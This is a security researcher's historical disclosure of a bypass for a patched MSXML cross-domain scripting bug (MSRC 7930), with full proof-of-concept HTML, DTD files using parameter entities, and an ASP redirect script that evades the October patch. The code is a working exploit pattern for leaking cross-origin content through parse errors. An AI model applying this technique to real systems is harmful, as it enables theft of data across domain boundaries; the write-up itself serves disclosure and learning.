This was a variation on an MSXML cross-domain scripting bug (MSRC 7930) originally found by Gregory Fleischer, who used XML parameter entities in a DTD to exfiltrate content from a remote URL into a script context. The October patch blocked the direct URL reference in the DTD. I found that replacing the direct URL with a server-side redirect pointed to the same URL bypassed the patch entirely.
<!-- index.html -->
<?xml version="1.0"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Variation of MSRC 7930 - Cross-Domain Scripting with Parameter Entities in MSXML</title>
<script type="text/javascript">//<![CDATA[
var absURL = location.href.substring(0,location.href.lastIndexOf("/")+1);
function test(url, t, dtd) {
var progid = "MSXML2.DOMDocument.3.0"; // everybody has this
try {
var target = absURL + dtd;
var source = "";
var reason = "";
var dom = new ActiveXObject(progid);
dom.async = false;
dom.resolveExternals = true;
dom.loadXML( "<!DOCTYPE data SYSTEM '" + target + "'>" +
"<data>&dent;</data>");
var xPE = dom.parseError;
if (xPE.errorCode != 0) {
source = xPE.srcText;
reason = xPE.reason;
alert("reason=" + reason + "\nsource=" + source);
} else {
alert("Try with the original POC");
}
} catch (e) {
alert("error: " + e["description"]);
}
}
//]]>
</script>
</head>
<body onload="init();">
<font face="Arial" size="2">
<b>[Original Bug: MSRC 7930] - <font color="blue">This variation bypasses the October MSXML patch.</font></b><br /><br />
Even if I used Occam's razor to reduce the code (so I could understand it), the only difference with the original resides <u>in the dtd file</u>, which instead of loading a URL straight, it
loads our redirect.asp.
</font>
</body>
</html>
<!-- dtd_original.dtd: original technique (patched) -->
<!-- Copyright (c) 2008, Gregory Fleischer (gfleischer@gmail.com) -->
<!ELEMENT data ANY>
<!ENTITY % pent SYSTEM "http://search.live.com/results.aspx?q=pirates+versus+ninjas&format=xml">
<!ELEMENT html ANY>
<!ELEMENT body ANY>
<!ELEMENT script ANY>
<!ELEMENT p ANY>
<!ELEMENT b ANY>
<!ELEMENT br EMPTY>
<!ENTITY % xent "<html><body><script><![CDATA[%pent;">
<!ENTITY dent '%xent;'>
<!-- dtd_with_redirect.dtd: bypass via redirect.asp -->
<!-- Copyright (c) 2008, Gregory Fleischer (gfleischer@gmail.com) -->
<!ELEMENT data ANY>
<!ENTITY % pent SYSTEM "redirect.asp">
<!ELEMENT html ANY>
<!ELEMENT body ANY>
<!ELEMENT script ANY>
<!ELEMENT p ANY>
<!ELEMENT b ANY>
<!ELEMENT br EMPTY>
<!ENTITY % xent "<html><body><script><![CDATA[%pent;">
<!ENTITY dent '%xent;'>
<!-- redirect.asp: redirects to the Live Search XML feed -->
<%
Response.Redirect("http://search.live.com/results.aspx?q=pirates+versus+ninjas&format=xml")
%>
The original bug let the DTD’s %pent parameter entity reference a remote XML URL, pulling that content into a script CDATA block and leaking it via the parse error’s srcText. The patch blocked the direct URL in the DTD. The bypass was simple: instead of pointing %pent at http://search.live.com/... directly, point it at a local redirect.asp that issues a 302 to the same URL. MSXML followed the redirect without applying the same check it applied to the direct reference. Full credit for the original technique goes to Gregory Fleischer — I just found that the patch had a gap.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.